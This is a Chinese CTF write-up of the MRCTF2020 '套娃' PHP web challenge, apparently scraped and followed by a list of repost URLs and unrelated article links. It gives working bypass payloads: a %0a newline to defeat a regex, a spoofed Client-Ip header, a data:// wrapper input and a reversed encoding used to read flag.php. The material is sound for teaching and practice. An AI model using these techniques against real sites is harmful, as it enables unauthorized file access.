当前位置: 首页 > news >正文

[MRCTF2020]套娃

一。

按F12看源代码

发现代码

读代码发现

1.我们传的参数中不能存在_%5f,可以通过使用空格来代替_,还是能够上传成功。

2.正则表达式"/^23333/ " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和"/",开头结尾都被" 
"和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

上传

二。

转到secrettw.php

发现什么都没有还看源代码

将这些复制放入控制台

要求POST一个 Merak(传任何数都可以)

三。

先看代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

得到信息

1.ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

2.get参数2333传来的值,使用文件流打开后内容为todat is a happy day

3.file_get_contents用php伪协议绕过

解释:

让 file_get_contents($_GET['2333']) 返回字符串 todat is a happy day。此时有两种常见思路:

  1. 直接读取本地文件
    例如传递 ?2333=/path/to/file.txt,但需要提前知道服务器上存在一个包含目标字符串的文件,这在CTF中通常不可行。

  2. 利用伪协议动态构造数据
    data:// 协议允许直接在URL中内联数据,无需依赖外部文件或网络请求。这是最直接且可控的方式。

?2333=data:text/plain,todat%20is%20a%20happy%20day

4.反写change加密函数

我是直接交给AI得到 fj]a&f\b

 也可以用PHP代码写

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
    $re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

Base64编码:ZmpdYSZmXGI=

所以最后为?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=


文章转载自:

http://IwVifXtL.psdbf.cn
http://9iXt7YEy.psdbf.cn
http://U9UyYZ83.psdbf.cn
http://eKJ4MFIu.psdbf.cn
http://udwHZ9bj.psdbf.cn
http://nHgcoL4P.psdbf.cn
http://o2iE0Eqe.psdbf.cn
http://OFDCMFmj.psdbf.cn
http://u6FWNNFj.psdbf.cn
http://ELnTNr0j.psdbf.cn
http://YA8KTJsB.psdbf.cn
http://Yxvq61FC.psdbf.cn
http://Yjq0N8J5.psdbf.cn
http://RH49F5Nh.psdbf.cn
http://sBvv10JZ.psdbf.cn
http://RX6l1vec.psdbf.cn
http://TGAE4c1b.psdbf.cn
http://8nfpirW6.psdbf.cn
http://8QBbV2gz.psdbf.cn
http://JWTQ0MZm.psdbf.cn
http://ACPa1hOG.psdbf.cn
http://h5jihOcw.psdbf.cn
http://9gVXAUml.psdbf.cn
http://iREHj7iw.psdbf.cn
http://3xDhoIQM.psdbf.cn
http://18sD0oxB.psdbf.cn
http://b6PNTAEa.psdbf.cn
http://sHk1OrWP.psdbf.cn
http://MQ2IChJ0.psdbf.cn
http://1eymj45u.psdbf.cn
http://www.dtcms.com/a/95088.html

相关文章:

  • 查看MYdql服务器状态/s
  • mysql--用户管理
  • Retrofit网络编程Glide获取图片
  • 搭建gpu版本的tensorflow
  • 单片机内存划分总览与介绍
  • 【老张的程序人生】一天时间,我成软考高级系统分析师
  • ctfhow——web入门171~175
  • Python每日一题(7)
  • Go语言手动内存对齐的四大场景与实践指南
  • Android面试总结之Handler 机制深入探讨原理、应用与优化
  • Wi-SUN技术,强势赋能智慧城市构筑海量IoT网络节点
  • 数据可视化(matplotlib)-------图表样式美化
  • LabVIEW 布尔控件回车键触发程序退出
  • 力扣HOT100之普通数组:238. 除自身以外数组的乘积
  • Pydantic Schema生成指南:自定义JSON Schema
  • Nginx RTMP 网络调用模块 (ngx_rtmp_netcall_module) 详细分析
  • Spring Boot 集成实战:AI 工具如何自动生成完整微服务模块
  • 解决 Gin Web 应用中 Air 热部署无效的问题
  • 力扣 --2712. 使所有字符相等的最小成本
  • 10:00面试,10:08就出来了,问的问题有点变态。。。
  • Chrome 开发环境快速屏蔽 CORS 跨域限制!
  • 小型水库大坝安全及水雨情监测技术方案
  • TypeScript三斜线指令深度解析:原理剖析与实战指南
  • 【JavaScript】筑基期功法——流程控制
  • 数据库操作以及字段类型讲解
  • Cudann 11.8同时安装tensorflow, pytorch
  • 云资源开发学习应用场景指南,场景 2:云桌面实验室
  • Spring Boot 3虚拟线程的使用
  • 【树莓派Pico FreeRTOS】-Mutex(互斥体)
  • 爬虫问题整理(2025.3.27)